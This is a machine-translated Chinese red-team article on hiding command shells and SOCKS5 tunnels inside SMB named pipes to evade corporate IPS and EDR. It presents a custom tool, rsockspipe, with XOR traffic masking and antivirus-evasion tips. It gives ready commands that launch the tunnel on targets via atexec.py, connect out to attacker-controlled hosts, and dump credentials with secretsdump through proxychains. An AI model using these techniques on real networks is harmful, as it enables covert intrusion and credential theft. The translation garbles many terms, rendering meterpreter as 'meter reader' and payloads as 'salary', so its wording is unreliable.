企业IPS变得越来越聪明已经不是什么秘密了。 现在,您将不会对网络外围甚至网段之间的公司网络内部具有SSL-mitm的IPS的任何人感到惊讶。 同时,除了著名的IPS外,各种EDR解决方案也开始出现并传播,它们已经在直接监视主机是否建立了连接。 在这方面,每天都有越来越优秀的RedTeam专家躲在无处不在的BlueTeam外观中。 我们必须在自己的辛勤工作中变得更有创造力。
掩盖公司网络内部“更有用的破坏性行为”(c)的解决方案之一可能是使用SMB或RDP协议。 您可以隐藏在其中,并伪装成合法流量。 这并不是特别新颖,自从著名的APT公司Duqu和Sauron时代起,SMB内部就使用了掩膜技术。 在那里,这些家伙还使用SMB协议成功地将控制命令传递给他们的代理。 此后,该技术被Metasploit和Cobalt Strike的开发人员采用。
在本文中,我们将考虑使用SMB协议进行数据透视的选项,但我们将保留RDP供以后使用。
我们使用SMB
因此,让我们看看使用SMB进行数据透视有何好处。
首先,它是普遍的。 SMB几乎是本机microsoft协议,在带有Windows的公司网络中,SMB随处可见。 在这里,您和DFS,各种更新,打印机以及很多其他所有内容。 很舒服
没错,在公司网络外部,甚至在445th TCP端口内部,从外部开始,它们现在通常开始在防火墙上关闭。 原因是使用链接(如xxxx,\\ xxxx \等)进行网络钓鱼和中继的常见情况。 当然,我们不要忘记WannaCry,WannaCry迫使许多组织关闭了伸出的港口。
其次,在诸如Win10 / Win2016及更高版本的现代系统中,SMB协议内部传输的信息(更确切地说,SMB3默认情况下已被加密)。 即 在SMB中转移您最喜欢的拆分后,您可以放心确保公司IPS不会注意到它(感谢Micosoft!)。
第三,SMB协议为所谓的管道(SMB管道)提供了便利的机制-这些管道实际上是相同的命名管道,仅在网络上可用。 例如,像\\ 192.168.1.10 \ pipe \ atsvc这样的行是计划任务服务管道。 impacket框架中的Atexec可以与它一起创建用于在Windows中执行命令的任务。
您可以使用Sysinternals中的实用程序:pipelist.exe(pipelist64.exe)或通过同一Powershell查看系统上所有打开的管道:
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
浸入
因此,让我们看看如何使用SMB管道执行“更有用的破坏性操作”。
我们想使用管道与团队Shell进行秘密通信。
最重要的是,我们在目标计算机上运行代理或外壳程序,并通过SMB协议与其通信。
例如,在元拆分中,有一些特殊的薪水用于处理管道:
meterpreter_bind_named_pipe
bind_named_pipe
在他们的帮助下,您可以轻松地将您的侦听器(无论是抄表器还是普通的命令外壳)“挂”在命名管道上,从而将其隐藏在安全管理员的注意范围之外。 但是,当然,我们都知道,在战斗渗透测试/重做时间期间使用msf陀螺仪是完全不安全的,真正的劳动黑客使用自定义工具,正如他们所说的那样-远离罪恶...
将msf用作命令shell的替代方法可能是我们不错的老助手-powershell。 网络上有许多关于使用管道作为与C2进行通信的通道的示例。
其中之一是Threatexpress团队的Invoke-PipeShell实用程序。 它以服务器-客户端模式工作,并使用256位AES密钥加密所有流量。
在服务器上,我们运行:
Invoke-PipeShell -mode server -aeskey aaaabbbbccccdddd -pipe eventlog_svc -commandtimeout 30
在客户端上,运行:
Invoke-PipeShell -mode client -server targetserver.domain.com -aeskey aaaabbbbccccdddd -pipe eventlog_svc -i -timeout 1000
当然,我们的客户端必须在服务器上获得授权,因此请不要忘记先进行授权:
net use \\targetserver.domain.com\IPC$ /user:admin Password1
成功连接之后,我们将获得完整的Powershell控制台。 可以收集有关使用此工具的所有详细信息以及代码本身。
好啊 这似乎是可以理解的。 现在,让我们考虑如何通过SMB管道在目标网络内部进行旋转。 例如,如果仅第445个端口在网络边界上是打开的(并且确实发生了……),或者通过SSL与我们的隧道外部的连接被公司防火墙毫不留情地阻止了,但是由于某些原因,它们忘记了关闭SMB协议。 在这种情况下,我们需要在管道内部转发一个完整的TCP隧道,以便我们可以使用目标网络的内部资源。 首先想到的是同一个通过管道分段安装的抄表器。 他知道如何完美地做到这一点。 我们不会在这里考虑细节,因为 一切都在这里,并根据手册。 有兴趣的人可以阅读metasploit的说明,或在
此处查看简短版本。
我们已经在上面提到了meterpreter的缺点。 因此,让我们看看通过管道进行枢转还有什么其他功能...
快速浏览了有关通过管道进行隧道的主题之后,除了
仪表计制器之外,仅发现了
Cobalt Strike和
DxFlatLine的开发。
第一个选择首先是有偿的,其次-它具有与抄表器相同的缺点。
第二个选项是PoC,它仅在单线程模式下工作,并且仅允许您建立一个连接的通道-也就是说,您可以猜想,它也不是在实践中经常使用的选项。
怎么办?
在对问题进行了思考之后,我们决定……为什么我们不修改我们先前编写的Rsockstun开发,以使用管道? 此外,应用程序体系结构使您可以轻松地做到这一点。 代替通过TCP连接,我们将通过SMB使用连接。 它甚至简化了该实用程序的工作:无需担心SSL,通过代理服务器的连接等。 我们只保留带有服务器初始客户端授权的密码选项,因为 管道是公共实体,因此,不仅我们的隧道而且其他软件(包括远程)都可以对其进行读写。
管道的访问权限以及远程计算机上管道的扫描和枚举是一个单独的讨论主题。 那些人可以使用扫描器/ smb / pipe_auditor和扫描器/ smb / pipe_rpc_auditor模块的metasploit示例进行研究。
要使用Go中的管道,我们将使用
npipe库
它已经制作了很长时间,并在各种项目中得到了证明。 通过该库进行工作与通过标准Net机制进行工作没有根本区别:相同的功能是net.Dial,net.Listen,net.Accept。
要在一个管道内多路复用多个连接,就像上一次一样,我们将使用Yamux多路复用器和socks5-代理服务器。 您可以在上
一篇有关rsockstun的
文章中阅读有关TCP和yamux本身内部复用的更多信息。
与rsockstun相比,带有管道的版本的另一个区别和完善之处在于,现在可以在隧道的两端启动yamux-server和socks5-proxy(尽管不能同时启动,但可以在那里启动或启动)。 这样做是为了可以将隧道从外部构建到目标网络中,反之亦然。
现在,像往常一样-细微差别
图1-在Windows 7上转储隧道操作流量

图1显示了如果隧道的至少一端在Windows 7上运行,隧道的运行情况。这里,红色区域是授权阶段,绿色是管道的开放,蓝色是信息的直接传输。 还必须注意使用SMBv2协议的事实。 实际上,这意味着我们在隧道内传输的所有内容都将以纯文本形式显示:

与Win7不同,Windows10在SMB3协议内使用数据加密:

如我们所见,管道的名称和隧道内部的数据均未以明文形式传输。
您可以使用标准Powershell cmdlet Get-SmbServerConfiguration检查SMB3系统上的加密是否正在运行

并且关闭了加密功能,就可以轻松激活它:

但是,我们不能总是确定默认情况下将在SMB内部启用加密,并且在外部服务器或网络上将其打开不是一个好主意...
在这方面,我们需要在隧道中提供一种模式,以允许对隧道内的流量进行加密。 而且,我们没有可靠地加密的任务,因此它们只能在NSA超级计算机上解密,而只是对IPS隐藏隧道内的流量签名。 在这方面,我们将使用带有小键的简单XOR来屏蔽流量,这将节省我们的处理器资源,并且实际上不会影响传输速度。
为了不创建负责加密流量的额外网络层,我们将直接将功能添加到负责传输有效负载的yamux模块(stream.go模块以及Read和Write函数):
func xoring(istr *[]byte, key string){ for i := 0; i < len(*istr); i++ {(*istr)[i] = (*istr)[i] ^ key[i % len(key)]} }
进行更改后,我们的GET请求在流量中不太明显:

一,二,三...开始!
总的来说,启动选项以及相应的隧道应用如下:
选项1.从外部连接到网络,并转发Socks5连接。 例如,当第445个端口伸出时,我们知道用于连接的贷款:
在内部服务器上,通过SMB连接和impacket实用程序,启动rsockpipe服务器部分:
./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -listen .\rsockspipename -pass Password1234"
在外部(由我们控制)Windows计算机上,运行rsockspipe的客户端部分,并在建立连接后将其用作socks5代理:
rsockspipe.exe -connect xxxx\rsockspipename -socks yyyy:1080 -pass Pass-word1234 proxychains secretsdump.py admin:Passw0rd@yy1.10
选项2。通过SMB协议由内而外进行连接。 当所有Web协议严格监控向外连接时,由于某种原因,管理员忘记了SMB ...
在外部(由我们控制)的Windows计算机(IP:YYYY)上,运行rsockspipe的客户端部分并等待客户端连接:
rsockspipe.exe -listen .\rsockspipename -socks yyyy:1080 -pass Password1234
在目标网络内部的服务器上,运行客户端(也通过impacket):
./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -connect YYYY\rsockspipename -pass Password1234"
连接成功后,我们可以将服务器用作soscks5:
proxychains secretsdump.py admin:Passw0rd@yy1.10
这里有一点,特别是第二种选择。 记住,我们说过要成功连接到管道,必须在服务器端获得授权,即 在启动隧道之前,我们需要进行授权。 您可以这样操作:
net use \\yyyy\ipc$ /user:<usrname> <Password1>
在第二个用例中,net use命令在目标计算机上运行。 这意味着在目标计算机上(在lsass进程的内存中),您的Windows计算机上仍存有信用额。 如果他们是管理员(通常,所有新手黑客都是从管理员那里工作的...),那么这可能会导致BlueTeam的“回头招”……总的来说,您会以为自己在做某事时……
而不是结论
总的来说,隧道是相当不错的。主要的是它已经准备好可以主动使用了。
源代码以及x86和x64的已编译二进制文件位于
git上和一小部分。 最近,他们开始注意到以Win GUI模式编译的Golang软件(以该模式编译:go build -ldflags =“-H Windowsgui”)已被某些防病毒解决方案(KAV,SEP14)激发。 荒谬的是-在GUI模式下编译的“ Hello World”被检测为恶意软件。 显然,这是由于Golang仍然成为恶意软件的最爱工具。 因此,我们的建议是在标准控制台模式下编译项目,并且真正的黑客会使用黑色的cmf窗口知道如何处理该项目(例如,相同的小流氓)。
PS:“更有用的破坏性行动”是BiZone主任D. Samartsev的措辞。 在这种情况下,它最准确地描述了RedTeam专家的工作本质。